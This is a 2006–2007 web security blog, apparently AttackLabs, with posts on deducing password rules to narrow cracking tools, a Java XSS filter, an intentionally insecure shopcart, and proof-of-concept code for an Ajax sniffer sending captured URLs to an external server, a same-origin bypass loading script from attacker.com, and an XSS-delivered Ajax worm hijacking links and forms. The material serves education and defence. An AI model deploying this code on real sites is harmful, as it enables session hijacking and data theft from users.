With the increase in SQL injection attack and XSS attack, many security professionals implement character filtering on anything that comes from the client. It could be blacklist character filtering (do not allow potentially harmful characters) or whitelist character filtering (only allow valid characters) depending on how a security professional or architect wants to approach it. For the sake of the argument let’s say the architects apply these filters globally which means these filters are implemented for passwords as well, further restricting the character set for the password selection. This is where we have to be extremely careful. If an application, filters characters for password fields as well on top of the security policy then you are limiting the character set for passwords and this could be reverse engineered to make intelligent password cracking tools.

Let’s take a look at how it can be done and what we can do to protect from it. To start with, we need to find out the following:

1. The minimum number of characters that are allowed for a password field?
2. Should it start or end with a capital letter?
3. The minimum number of capital letters required?
4. The minimum number of digits required?
5. Should it start or end with a digit?
6. What characters are not allowed (for example “<,>,#,&,\” etc)?

If we can find the answers to the above mentioned question then we can fine tune the password cracking tool to follow those rules as a result the number of permutations and combinations required will be less.


If we start by successfully registering a password on a website and then reverse engineer it to find what is allowed and what is not allowed. For example, let’s say we can successfully register with a password which contains 8 characters and starts with a capital letter and ends with a numeric (Say “Abcdefg1”) and rest all the characters are lower case alphabets. Assuming the registration is successful, we’ll start working backwards and find out what characters are filtered and what characters are required in what sequence.

1. Remove one character from the middle of the password keeping the first character (Capital letter) and the last character (Digit) intact. Use this password to register and keep reducing by one character from the middle until you get error.

2. Register with a password with one character removed from the middle of the original password, keeping the first character (Capital letter) and the last character (Digit) intact. Keep reducing by one character but keep the capital letter and number until it gives error. This way we can determine the minimum length of the password for the application. For example, “Abcdef1”, “Abcde1”, “Abcd1”, etc

3. Move the capital letter from the beginning to some other part of the password keeping the number and minimum number of characters allowed and see if it gives error. This will tell you if the password requires you to start with a capital letter or you can have it anywhere within the password. For example, “aBcdefg1”.

4. Select a password with minimum number of characters allowed and no capital letter and one numeric. If it doesn’t give any error that means capital numbers are not allowed. For example, “abcdefg1”

5. Select a password with no numeric character with one capital letter into it. If it doesn’t give any error then numeric is optional.

6. Replace a non numeric and non capital letter of the password with a character from a list of other characters (for example, %, ~, !, @, #, $, %, ^, &, *, <, > and so on). Replace the character one at a time and check if you get any error. If you get an error that means the character is not allowed.

By performing the above mentioned steps you can find out what characters are not allowed by the application and hence you can remove those characters in your password cracking tool and further set the rule for the characters allowed in certain order.

Now, if the application is filtering for blacklisted characters in password as well, then the list of characters not allowed will grow and will be favourable for the password cracking tool. By any chance if the application is doing whitelist filtering for passwords as well, then the characters actually allowed for passwords would be very limited and hence make it extremely easy for the password cracking tools.

The password is selected when a user is trying to register to the site. We don’t usually lockout the registration page after any number of unsuccessful attempts as we believe the user is trying to find the correct password combination. Some of the websites on their registration pages have captcha to ensure protection from bots but not many sites have that.

We can take certain steps to prevent us from this type of attack
Registration page

1. Implement a captcha. (though this is a tough one as it is a great inconvenience to the user but it does protects from automated attacks)

2. If we don’t filter the characters then there is a possibility of SQL injection attack. For that, we can hash the password before inserting into the SQL to store in the database (That is the general trend these days anyway) but we should be selective about what we filter and what we do not filter.

3. Put a delay of few seconds in every subsequent attempt. This is not a full proof solution but it definitely slow down the automated attacks.

4. Encourage the user to select stronger passwords by displaying how weak their password is on the registration page even though it is not enforced by a password policy.

Password page

1. Implement password lockouts. Reset the password after lockouts. The new password should not be same as the last password (at least)

2. Be selective about what you filter for the passwords.

3. Put a delay of few seconds in every subsequent attempt.

You can see the demo and download the code from Attack Labs


Explanation of the code can be viewed here

Sunday, January 28, 2007

Sample Shopcart application

In my experience i have seen a lot of developers being clueless about what application security is and how they unknowingly left a door open for the bad guys in their application. They don't have much idea about how application are open to these vulnerabililties (like XSS, SQL injection, session hijacking, etc), how they are exploited and what changes they need to make in their coding style to minimize these vulnerabilities in their application.

Shopcart application is a sample application which is developed to educate developers to understand how an application can be exploited and what kind of damage they can do.

This application does not have any security mechanism in it. The idea is for developers to learn how and what can be exploited if a security mechanism is not in place. Soon I will put together an application with proper security controls for the comparison.

The application can be accessed at http://www.attacklabs.com/shopcart/

Happy learning.

Tuesday, January 23, 2007

XSS filter to protect from XSS attacks

Here are the excerpts from the chilling effect

Grossman, who founded his own research company, WhiteHat, claims XSS vulnerabilities can be found in 70 percent of websites. RSnake goes further. "I know Jeremiah says seven of 10. I'd say there's only one in 30 I come across where the XSS isn't totally obvious. I don't know of a company I couldn't break into [using XSS]."
If you apply Grossman's number to a recent Netcraft survey, which estimated that there are close to 100 million websites, you've got 70 million sites with XSS vulnerabilities. Repairing them one-off, two-off, 200,000-off is spitting in the proverbial ocean. Even if you've disclosed, you've done very little to reduce the overall risk of exploit. "Logistically, there's no way to disclose this stuff to all the interested parties," Grossman says. "I used to think it was my moral professional duty to report every vulnerability, but it would take up my whole day."


If we can put an XSS filter in the framework (for example, as a servlet filter in the Java EE) then it would make it a lot easier for the developers to not worry about all the places where they are accepting the input from the client browser. Instead they can just do a request.getParameter() and the servlet filter would do all the filtering for XSS characters with each and every request which comes in to the JSP pages or servlets.

I have created a xss filter which can be tested at http://www.attacklabs.com/xssfilter/. It filters only 8 characters but it protects from all the possible attack strings mentioned in the Rsnake’s cheat sheet. If you can find an xss attack which can bypass the filter, then please do submit it here or email it to me at anurag.agarwal@yahoo.com

Please bear in mind that this filter is not the right choice if you want your users to input HTML tags or urls.

Source Code

import java.io.*;
import java.net.*;

import javax.servlet.*;
import javax.servlet.http.*;

/**
*
* @author anurag agarwal
* @version 1.0
*/
public class XSSFilter extends HttpServlet {
private String[] filterChars = {"<", ">", "<", ">", "&#", "\"", "\\", "0x"};
private String[] replacementChars = {" ", " ", " ", " ", "#", "'", "/", "0 x"};

protected void processRequest(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
response.setContentType("text/html;charset=UTF-8");
PrintWriter out = response.getWriter();

String html = request.getParameter("html");
out.println("Here is the filtered output of the html you submitted.");

out.println(filterRequest(html));

out.close();
}

private String filterRequest(String param) {
String value = param;

if( param!=null) {

for(int i = 0; i < filterChars.length; i++) {
value = filterCharacters(filterChars[i], replacementChars[i], value);
}

}

return value;

}

private String filterCharacters(String originalChar, String newChar, String param)
{
StringBuffer sb = new StringBuffer(param);

for(int position = param.toLowerCase().indexOf(originalChar); position >= 0; ) {
sb.replace(position, position + originalChar.length(), newChar);
param = sb.toString();
position = param.toLowerCase().indexOf(originalChar);
}

return sb.toString();
}

protected void doGet(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
processRequest(request, response);
}

protected void doPost(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
processRequest(request, response);
}
}

Wednesday, January 17, 2007

Ajax Sniffer - Prrof of concept

NOTE - The original idea was discussed by Stefano Di Paola in his paper Subverting Ajax. I have simply created a working proof of concept of ajax based sniffer.

I have taken the same files as I demonstrated in ajax worm PoC. You can see the demo at http://www.attacklabs.com

Let’s take a look at how to create an ajax based sniffer.

In order to create a sniffer we need to do two things
1. Override the open and send function of XMLHttpRequest using javascript inheritance
2. Send the data to a program on the other domain

Override the open and send function of XMLHttpRequest using javascript inheritance

What is inheritance?


In object-oriented programming, inheritance is a way to form new classes (subclasses) using classes that have already been defined (super classes). The new classes, also known as inherited classes, take over attributes and behavior of pre-existing classes, which are referred to as base classes (or super classes). It is intended to help reuse of existing code with little or no modification. Many object-oriented programming languages permit a class or object to replace the implementation of a behavior—that it has inherited. This process is usually called overriding. Another reason to use inheritance is to provide additional data or behavior features. This is often used when incorporating new features into the super class is either not possible or not appropriate.

Javascript Prototype feature and inheritance

Although JavaScript is a scripting language, it supports object-oriented programming. There may be no classes or instances but it has objects, prototypes and implicit inheritance. To find out more about inheritance in Javascript you can look at the links in the references section. The example below shows how to extend an object in javascript to add more function to it using prototype feature


//Define a class in javascript
function MainClass()
{
alert('this is the main class');
}

//Create an object
var newClass = new MainClass();

//Add a new function to the existing class ‘MainClass’
MainClass.prototype.newFunction = function()
{
alert('this is the new function');
}

//Call the new function
newClass.newFunction();


As you can see, using prototype we can add new functions to the existing class or override functionality of the existing function.

Overriding open function of XMLHttpRequest

/*Create a new function called myOpen. Call the sniffing function from it and then pass the control to the original open function of XMLHttpRequest object. */



var myOpen = function(method, url, async, user, password) {
send_to_attacker("url="+url);
this.originalOpen(method, url, async, user, password);
}

/*Store the reference to the original open function of XMLHttpRequest object. */


XMLHttpRequest.prototype.originalOpen = XMLHttpRequest.prototype.open;


/*Assign the newly created myOpen function to the original open function of XMLHttpRequest. Now whenever a call to open function is made, it will invoke myOpen function first and from within myOpen the original open function is invoked to let XMLHttpRequest perform its function. */



XMLHttpRequest.prototype.open = myOpen;


Overriding send function of XMLHttpRequest

/* Create a new function called mySend. This function overrides the original send function of XMLHttpRequest object and calls it towards the end. */



var mySend = function(a) {
var xhr = this;

/* This function would get called when the onload event is called. */


var onload = function() {
//alert(xhr.responseText);
};

/* This function is called if there is an error when the onerror event is called. */


var onerror = function() {
alert(xhr.status);
};

/* Add the load and error events to this function. */


xhr.addEventListener("load", onload, false);
xhr.addEventListener("error", onerror, false);

/* Call the original send function. */

xhr.originalSend(a);
}

/* Store the original function in another variable and call it from within the overriding function. */


XMLHttpRequest.prototype.originalSend = XMLHttpRequest.prototype.send;

/* Assign the newly created mySend function to the original open function of XMLHttpRequest. Now whenever a call to send function is made, it will invoke mySend function first and from within mySend the original send function is invoked to let XMLHttpRequest object perform its function. */



XMLHttpRequest.prototype.send = mySend;


/* Adding a new function to the XMLHttpRequest object. It can be called using ajax_request.newMethod(); */



XMLHttpRequest.prototype.newMethod = function() {
alert("New function added to XMLHttpRequest");
}


Send the data to a program on the other domain

This function sends the data to a servlet on an external domain. To read the proof of concept of how to bypass same origin barrier of javascript read here and view the demo at http://www.attacklabs.com


function send_to_attacker(param_url)
{
var attack_script = "http://www.myappsecurity.com:8084/Mail_List/sniffer?" + param_url;

var script = document.createElement('script');
script.src = attack_script;
script.type = 'text/javascript';
document.body.appendChild(script);

//Remove the script element after it has been executed as it is no longer required.
document.body.removeChild(script);
}


You can see the demo at http://www.attacklabs.com

You can download the source code at http://www.attacklabs.com/download/sniffer.rar

Wednesday, January 10, 2007

Breaking the Same Origin barrier of Javascript

NOTE: I dont want javascript to be executed so in the sample code below, you will see that i will remove the <> tags from the script element.

Same Origin Policy of browsers

Often times we have heard that Javascript cannot send requests to another domain. That is because of the same origin policy implemented in the browsers. The same origin policy of the browsers prevents document or script loading from a different domain to manipulate the document loaded from current domain, without which javascript from a malicious domain could do any number of adverse things such as log keystrokes, steal cookies, modify your data, or even insert unwanted transactions while you do your online banking, etc. Hence, most of the current browsers implement the same origin policy on nearly every properties and methods available to javascript. The only exception to the same origin policy is if you are working with documents loaded from any of the subdomains of the current domain. By setting the domain property of the document, scripts residing on subdomain are allowed access to the scripts on the main domain. For example, the script from test.domain.com could set the domain property to “domain.com”. This way the script passes the origin checks when accessing windows loaded from “domain.com”. However, the scripts from “test.domain.com” could not set the domain property to “anotherdomain.com”.

When a script tries to access properties or methods in a different window – for example, using the handle returned by window.open() – the browser performs a same origin check on the URLs of the document in question. If the URLs of the document pass this check, the property can be accessed, and if they don’t then an error is thrown. The same origin check consists of verifying that the URL of the document in the target window has the same origin as the document containing the calling script.

External Javascript from Java Servlets

One of the lesser known sides of external JavaScript is the ability to reference a server side program(CGI, PHP or Servlets) instead of the familiar .js file. It is kinda interesting since a client side script interacting with a server side program is not considered safe and is usually not allowed from within the browser but apparently a script can be dynamically generated and loaded, if referenced in src attribute of the script tag, while the html page is being loaded. Using the src attribute of the script tag, we can call an external javascript, we can also call a server side program to dynamically generate a javascript. For example

script type="text/javascript" src="myservlet"

Where "myservlet" is the server side program and could be an absolute path like “http://www.myserver.com/myservlet” or a relative path like “myservlet” instead of the usual .js file. Interestingly you can even pass parameters to the servlet through the URL string. For example

script type="text/javascript" src="http://attacker.com/myservlet?name=myname"

Now the servlet can be invoked and process parameters and return the result back. There is a limitation however. It can only return Javascript code. You also have to set the content type as “application/x-javascript”. Just think of it as returning javascript code instead of html code. But there is a workaround to this limitation. Just like while returning html, if you had Javascript code, you would encapsulate in script tag, here, if you have to return html code, you can always return document .body .innerHTML = ‘html code’ or document .write(‘html code’). So your typical servlet would look like


public class myservlet
{
public void doGet(HttpServletRequest request, HttpServletResponse response)
{
response.setContentType(“application/x-javascript”);
PrintWriter out = response.getWriter();
String name = request.getParameter(“name”);
out.println(“document.body.innerHTML = ‘Welcome “ + name + “’;”);
out.close();
}
}


A JavaScript header is sent at the very beginning to inform the browser that it is receiving a JavaScript file. The final output of the servlet needs to be a valid Javascript file and must conform to Javascript syntax, servlet outputs a valid javascript code which replaces the content of the html page and displays “Welcome anurag”.
The other limitation, however, is that it cannot have an interactive session with the server side program. While loading the page, when the browser comes across the script tag, it goes to the URL mentioned in the src attribute and validates the incoming data as a valid javascript and executes it. The script tag is only executed once and after the entire page is loaded, it cannot call the server side program again.

Breaking the same origin barrier using external Javascript

As we discussed above, once the entire html page is loaded and all the Javascript files are executed, there can be no interaction with the server anymore since all the script tags are executed by the browser. But wait a minute, what about DHTML? We can dynamically create a script element and set a server side program in the src attribute and VIOLA, we have just breached the same domain barrier. Let’s take a look at the code.

Code sample
Append the following Javascript code at the victim browser

function loadscript()
{
var attack_script = document.createElement('script');
attack_script.id = 'myscript';
attack_script.src = 'http://attacker.com/myservlet'; //Replace this url with your servlet/cgi/php url.
attack_script.type = 'text/javascript';
document.body.appendChild(attack_script);
}

Create the servlet at the attacker server

public class myservlet
{
public void doGet(HttpServletRequest request, HttpServletResponse response)
{
response.setContentType(“application/x-javascript”);
PrintWriter out = response.getWriter();
String ip = request.getRemoteAddr();
out.println("document.body.innerHTML='Your IP address is : " + ip + "';");
out.close();
}
}

Demo

You can view the demo here (http://www.attacklabs.com)

Download Code

You can download the sample code here (http://www.attacklabs.com)

References:-

Firefox same origin policy
http://www.mozilla.org/projects/security/components/same-origin.html

Same Origin Policy - Wikipedia
http://en.wikipedia.org/wiki/Same_origin_policy

Tuesday, December 12, 2006

Did you SEEC it yet?

I am pleased to announce SEEC - An application security search engine. This search engine is powered by google and is application security specific. It is still in beta release. You can access it here - SEEC

Why SEEC?
well, SEC is short for security and SEEK means to find, hence SEEC (find within security)
Please do leave your comments and feedback on what your thoughts are on SEEC.


Also, few weeks ago i released AttackLabs - a website to display proof of concepts of various web application attacks. It has two PoC to begin with and i am currently working with jeremiah to display all his PoC on the site. If you wish to display your Proof of concepts on the site, then please feel free to submit your attack on www.attacklabs.com or you can email me at anurag.agarwal@yahoo.com

Wednesday, December 06, 2006

Survey on Application Security Vulnerability Assessment process

Today jeremiah posted the third round of his monthly survey on web application security professionals.
http://jeremiahgrossman.blogspot.com/2006/12/web-application-security-professionals.html

The results of the first two are available here

[1] Nov. 2006
http://jeremiahgrossman.blogspot.com/2006/11/web-application-security-professionals.html

[2] Oct. 2006
http://jeremiahgrossman.blogspot.com/2006/10/web-application-security-professionals.html

This survey would help us assess the current state of vulnerability assessment in our software development life cycle, of course depending on the participation. I would encourage everyone in the applications security field to take this survey. The more the particpation, the better the picture we get out of it. If we have enough data then maybe we can see a deviation report as well.

Sunday, December 03, 2006

Ajax Worm - Proof of Concept

Few weeks ago I demonstrated a Proof of Concept of how easy it is to create an Ajax worm which hijacks a user session and redirects all the user activity through itself. The idea is simply to be able to control and monitor the user activity on a website by inserting the malicious script into the visiting user's session using XSS. I have been advocating for some time now, the extent of damage that can be done using Ajax’s XMLHttpRequest(XHR) object. All you need is a website vulnerable to XSS attack and an attacker can inject a small javascript file which can take control of the user as long as he is on that site and in some cases even after he has left the website. This Proof of Concept is limited to the worm propagating to a single site as Ajax cannot make cross domain requests just yet but it is under consideration. If you want cross domain request you may want to consider FlashXMLHttpRequest object.

Advanced javascript and XML also known as Ajax is a relatively newer technology and is already gaining a lot of momentum in the industry. Ajax by itself may not open any new vulnerabilities but it does increase the attack surface and in combination with some vulnerabilities like cross site scripting can be very devastating by providing stealth techniques to it. In traditional web browsing, when a user clicks on a link or submits a form, the request goes to the server and the server responds back with the response and a new page is loaded on the screen and a new url is displayed on the location bar (unless it’s a dynamic page and is submitting to itself). In either case, a user can see a browser screen getting refreshed and a new page getting loaded on the screen as the request and response were handled by the browser. With the use of Ajax, the same request and response can be handled by the application. So now when a user clicks on a link or submits a form, using XHR object it can all be done behind the scenes by the web application and the page doesn’t have to refresh like it used to in the traditional way. The url on the location bar remains the same even though we may be loading a different url altogether. Though, ajax has helped immensely with the applications trying to provide a better user experience and a rich user interface, but at the same time it has opened a world of opportunities for the bad guys. Now an attacker can do a lot more damage then it usually would have by exploiting vulnerabilities in your application as. For example, if someone can exploit a cross site scripting vulnerability in your application, with the help of ajax they can virtually control your application.

In this paper, I will explain, how easy it is to hijack a website with the help of ajax by inserting a script which propagates to every page you visit on that website.


When the script is injected into a vulnerable site, create_object, collect_links and collect_forms method from worm.js script are called.

//Create an ajax object
create_object creates a cross browser connection to the server using ajax. For IE 5 and 6 we use ActiveXObject and IE7 and firefox we use XMLHttpRequest. All the ajax communications are done using this object. The XMLHttpRequest object is an interface exposed by a scripting engine that allows scripts to perform HTTP client functionality, such as submitting form data or loading data from a server. The name of the object is XMLHttpRequest for compatibility with the web as it doesn't make much sense otherwise. It supports the transport of other data formats in addition to XML, some implementations support other protocols besides HTTP (that functionality is not covered in this specification though) and the API supports sending data as well.

function create_object() {
// This is a strip down version of what I am using in the actual script to demonstrate how to create a XHR object.
if(window.ActiveXObject) {
ajax_request = new ActiveXObject(MSXML2.XMLHTTP);
}

if (!ajax_request && typeof XMLHttpRequest != 'undefined') {
ajax_request = new XMLHttpRequest ();
}
}

//Code to capture all the links
This is where we capture all the links in a website. If it is an internal link then we replace it with our javascript function, so now whenever a user clicks on any of the link, browser instead of opening that page, calls the javascript function and which in turn silently communicates with the server in the background, fetches the link and loads the page in the memory and while doing so, it captures all the links and forms of the newly loaded page.

function collect_links()
{
//Collect all the link in the html page.
var all_links = document.getElementsByTagName("a");

//Go through all the links one by one.
for(var i = 0; i < all_links.length; i++) {

//Replace all the links with the javascript function.
all_links[i].href="javascript:loadUrl('" + all_links[i].href + "');";
}
}


//Code to capture all the forms.
This is where we capture all the forms in a web page. collect_forms function does the same thing as collect_links does except for it just looks for all the forms and replaces their action attribute with its javascript function. It also inserts or replaces (if already exists) the id of the form with the actual url so that the worm script can identify them at the time of submission. As you will see in the last line here that the action attribute is replaced by the submit_form function of the worm. So now when the user will try to submit any form, instead of browser submitting the form to the server, the submit_form function will be called.

function collect_forms()
{
//Collect all the forms in the html page.
var all_forms = document.getElementsByTagName("form");

//Go through all the forms one by one.
for(var i = 0; i < all_forms.length; i++) {
//Replace the id of the form with the original submit url.
all_forms[i].id = all_forms[i].action;

//Replace the submit url of the page with the javascript function.
all_forms[i].action="javascript:submit_form('" + all_forms[i].action + "');";
}
}


//Code to load the requested url dynamically
loadUrl function takes the url as a parameter and connects to the server and requests for that url. The server treats it as any other request it would have received from the client and sends the file with that url. Normally it is the browser who receives the file and displays it in the browser, but with Ajax it is our XHR object which receives the file and updates the client screen with the new html code, then it calls collect_links and collect_forms function to hijack the links and forms in the new html code. This way, the worm script is always in control of all the request/response made from the client browser to the server.

function loadUrl(url)
{
//Connect to the server and request for that url.
ajax_request.open("GET", url, false);
ajax_request.send(null);

//Look for the request state and status. Status = 200 means the request was successful
if(ajax_request.status == 200) {
//Load the response from the server into the document’s body. This will dynamically
change the content of the page but the url on the address bar of the browser will
remain the same. So, even though the new url is loaded, the location bar of browser
will show the url of the original page.
var response_text = ajax_request.responseText;
document.body.innerHTML = response_text;

//Hijack all the links and forms in the new html page.
collect_links();
collect_forms();
}
}


//Code to create the form parameter string
This function is called when a user tries to submit a form. As all the forms are hijacked and replaced with submit_form function of the javascript, when the user clicks on submit button, this function is called with the id of the form which was already replaced at the time of hijacking. Based on that id, the script loads all the forms and its elements. It then calls the post_attacker function which submits the values to the server, captures the response and displays on the user window and hijacks any links or forms in the new html code. For the sake of this demo, when you enter a username and password on the login page and clicks on submit, then the script displays the values on the screen before calling the post_attacker function.
function submit_form(form_id)
{
//get the form element from the id.
var form = document.getElementById(form_id);

//This is where the form values are displayed when the user presses the submit button.
var form_submit = document.getElementById('form_element');
form_submit.innerHTML = "These values will be submitted to " + form_id + "
";

//All the parameters have to be in the format of name=value to be able to submit to the server.
var post_url = "";

//Iterate through every element of the form.
for(var i = 0; i < form.length; i++) {
var line = form.elements[i].name + " = " + form.elements[i].value +;
form_submit.innerHTML += line + "
";
post_url += line;

//Multiple name=value have to be separated with &
if(i+1 < form.length)
post_url += "&";
}

//post it to the server.
post_attacker(form_id, post_url);
}

//Code to submit the form dynamically
function post_attacker(url, parameters) {

//Create a POST connection to the url.
ajax_request.open("POST", url, false);

//Set the header values.
ajax_request.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8");

//Send the parameters
ajax_request.send(parameters);

//Load the response from the server into the document’s body
if(ajax_request.readyState == 4 && ajax_request.status == 200) {
var response_text = ajax_request.responseText;
document.body.innerHTML = response_text;

//Hijack all the links and the forms.
collect_links();
collect_forms();
}
}


As you can see, it is so easy to create a worm with the help of Ajax, which controls all the communication between the user and the server. Whatever link a user clicks on or submits a form, everything is passed through the worm script. It also has the capability to make changes to the data before it gets submitted to the server or before it gets loaded in the user browser after it is received from the server.

This is just a proof of concept to reiterate how deadly a combination of cross site scripting and Ajax can be. Currently this is limited to the same site as we cannot make cross domain Ajax requests just yet. With cross domain Ajax requests, the implications could be far more dangerous. I am not against having cross domain requests in Ajax but if and when they do allow it, they should consider the security implications as well and if possible suggest solutions or scenarios which a developer should consider while using cross domain Ajax requests.


To look at the demo of the Proof of concept, please go to http://www.attacklabs.com
To download the source code, go to http://www.attacklabs.com/download/ajax_worm.zip